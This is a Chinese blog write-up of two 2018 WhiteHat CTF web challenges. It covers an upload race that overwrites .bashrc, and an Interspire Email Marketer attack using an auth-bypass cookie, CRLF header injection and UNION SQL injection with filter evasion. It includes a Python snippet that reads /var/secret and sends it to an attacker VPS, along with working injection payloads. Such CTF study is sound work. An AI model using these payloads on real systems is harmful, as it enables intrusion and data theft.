sky's blog

2018 WhiteHat writeup

字数统计: 1,829阅读时长: 7 min
2018/08/20 Share
1
文章首发于 https://xz.aliyun.com/t/2599

前言

昨晚听说有个国z外的比赛叫whitehat,做了一会儿发现思路停滞,本打算今天再做,发现已经结束了,按老外的思路,走了一遍,还是挺有意思的

上传条件竞争与.bashrc

题目信息

题目链接:

http://web01.grandprix.whitehatvn.com/
题目描述
Description: manhndd is running a service file upload at web01.grandprix.whitehatvn.com, it is restored every 2 minutes. Every 1 minute after service starts, he ssh into server to check /var/secret. Can you get it?
Note: Player shouldn’t Dos web01, you can get source code and run in local

题干分析

刚拿到这道题的时候我走进了误区,题目给出了源代码

1
http://web01.grandprix.whitehatvn.com/SimpleHTTPServerWithUpload.py

看到SimpleHTTPServer,我的第一反应是ph写的这篇文章

1
https://www.leavesongs.com/PENETRATION/python-http-server-open-redirect-vulnerability.html

我简单的测试了这个跳转的问题

1
http://web01.grandprix.whitehatvn.com//example.com/%2f..


我发现的确可以成功跳转
我本以为这里可能会出现任意文件读取的问题,因为这里有flag的绝对路径/var/secret
但这里没有附带的框架来继承或者使用这个类,所以我们很难进行目录穿越的文件读取
毕竟不是web.py或者django

胡乱摸索

想到这题本身是一个上传

我们随手测试一下,发现上传的目录是/opt
然后web会将目录列出来,我们可以任意访问该目录下的文件
我又尝试了一下目录穿越

发现没有写入权限
于是我尝试了一下tmp

发现部分目录是可写的

并且直接使用/tmp/1.png这样,甚至不需要../../这样穿越

另辟蹊径

既然这一点不行,我注意到了题目的提示

1
Every 1 minute after service starts, he ssh into server to check /var/secret.

我当时错误的理解为了每1分钟会重启一次服务,并且鬼迷心窍的想到了另一方法
因为我发现上传的路径和SimpleHTTPServerWithUpload.py是同一个路径
当时我天真的以为,如果我在当前目录下上传一个文件名与SimpleHTTPServerWithUpload.pyimport的库名一致,就会被引入
所以我利用Burp不断上传一个名为posixpath.py的文件
内容为:

1
2
3
4
5
import requests
import base64
f = open('/var/secret','rb').read()
url = 'http://vps_ip:23333/?'+base64.b64encode(f)
r = requests.get(url=url)

我天真的以为在重启的时候,应该会引入这个文件,并且将flag打到我的vps
这里我利用了条件竞争与文件上传,应该满足题目的意思了吧,应该这样就是正解啦?
但是最终还是以失败告终,我的vps纹丝不动,没收到任何东西

神来之笔

后来看到writeup,才发现是

1
2
bashrc
profile

这里就要涉及到交互式shell和非交互式shell,login shell 和non-login shell
其中:
交互式模式就是shell等待你的输入,并且执行你提交的命令。这种模式被称作交互式是因为shell与用户进行交互。这种模式也是大多数用户非常熟悉的:登录、执行一些命令、退出。当你退出后,shell也终止了。
shell也可以运行在另外一种模式:非交互式模式。在这种模式下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾,shell也就终止了。
而bashrc与profile都用于保存用户的环境信息,bashrc用于non-loginshell,而profile用于login shell
所以这里bashrc可能可以成为一个突破口,因为该文件包含专用于某个用户的bash shell的bash信息,当该用户登录时以及每次打开新的shell时,该文件被读取
所以,如果我们能将.bashrc写到用户的目录下,在其每分钟打开ssh的时候,就会执行里面的命令,那么我们只要

1
cp /var/secret /opt/skysky

即可在当前目录下读到flag
我们首先测试一下,home有没有写权限

显然/home目录是不行的,那我们如何知道用户名呢?
还是那个不起眼的题目描述

1
manhndd is running a service file upload at web01.grandprix.whitehatvn.com

难道这人叫manhndd?
我们再试试

发现的确可以成功上传
那我们尝试覆盖上传.bashrc

用burp一边上传竞争覆盖,一边访问skysky这个文件
一段时间后即可收到flag

Interspire Email Marketer

题目信息

题目链接

1
http://web03.grandprix.whitehatvn.com:1337/

信息搜集

右键打开源代码,拉到最底下发现

1
2

<!--<label>@Buxu: Let's try to access admin page</label></br> -->

题目要求我们登入admin页面

按照这里题目给出的要出,我们输入

发现是404
那我们简单探测一下端口
如果端口开放

如果端口关闭

简单探测的结果为

发现8088有结果

应该是301跳转了,那我们加个index.php试试

保存成html页面,查看后发现

进一步思考

探测完端口,那么8088是什么服务的默认端口?还是说题目只是随便放在这个端口了?
若是,为什么不直接放在1337端口呢?
很快,我发现了自己的眼瞎= =
那页面里写着

1
Interspire Email Marketer

于是顺藤摸瓜搜了一下

没错,就是这个点非常瞩目

1
https://www.exploit-db.com/exploits/44513/

发现可以直接绕过admin的授权,即有这个cookie即可

1
IEM_CookieLogin=YTo0OntzOjQ6InVzZXIiO3M6MToiMSI7czo0OiJ0aW1lIjtpOjE1MDU0NzcyOTQ7czo0OiJyYW5kIjtiOjE7czo4OiJ0YWtlbWV0byI7czo5OiJpbmRleC5waHAiO30%3D

那我们如何发送cookie呢?

CRLF

这里的方案无意只有一点,即CRLF,因为path与host的拼接,这里很容易让人联想到能不能进行http头注入
于是我们简单构造为

1
{"url_path":"admin/index.php HTTP/1.1\r\nCookie: IEM_CookieLogin=YTo0OntzOjQ6InVzZXIiO3M6MToiMSI7czo0OiJ0aW1lIjtpOjE1MDU0NzcyOTQ7czo0OiJyYW5kIjtiOjE7czo4OiJ0YWtlbWV0byI7czo5OiJpbmRleC5waHAiO30%3D\r\n","host":"127.0.0.1:8088"}

访问发现

保存为html查看一下

我们成功登入了
到此为止,感到无奈

sql注入

而后看到writeup,才知道

1
https://www.exploit-db.com/exploits/37935/

还有一个漏洞可以利用,即sql注入(但是据说是非预期= =)
CVE中给出的payload是这样的

1
2
3
http://www.example.com/admin/index.php?Page=Addons&Addon=dynamiccontenttags&Action=Edit&id=-1%27+UNION+Select+1,2,3,4--%20- [SQLi]

http://www.example.com/admin/index.php?Page=Addons&Addon=dynamiccontenttags&Action=Edit&id=-1%27+UNION+Select+1,version%28%29,3,4--%20-[SQLi]

那我们仿照进行攻击即可

1
{"url_path":"admin/index.php?Page=Addons&Addon=dynamiccontenttags&Action=Edit&id=-1%27+UNION+Select+1,2,3,4--%20- HTTP/1.1\r\nCookie: IEM_CookieLogin=YTo0OntzOjQ6InVzZXIiO3M6MToiMSI7czo0OiJ0aW1lIjtpOjE1MDU0NzcyOTQ7czo0OiJyYW5kIjtiOjE7czo4OiJ0YWtlbWV0byI7czo5OiJpbmRleC5waHAiO30%3D\r\n","host":"127.0.0.1:8088"}


发现有过滤,于是我们还是老规矩,用字典fuzz一下

发现过滤的很少,考虑这里可能会对path进行urldecode,所以尝试了一下url编码绕过

1
2
union
%75nion

于是我们尝试

发现成功
注:由于有CVE,所以就不用测试列数了,就是4列
那我们去进行数据库探测,找到标志点

1
form_text&quot; value=&quot;

方便后面我们取出数据,查看数据库名

查看表名

查看列名

读出数据

得到flag

1
WhiteHat{cbb66097f69c3938bfd4a157ab4ebe762a16c1b1}

参考链接

https://github.com/reznok/CTFWriteUps/tree/master/

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. 上传条件竞争与.bashrc
    1. 2.1. 题目信息
    2. 2.2. 题干分析
    3. 2.3. 胡乱摸索
    4. 2.4. 另辟蹊径
    5. 2.5. 神来之笔
  3. 3. Interspire Email Marketer
    1. 3.1. 题目信息
    2. 3.2. 信息搜集
    3. 3.3. 进一步思考
    4. 3.4. CRLF
    5. 3.5. sql注入
  4. 4. 参考链接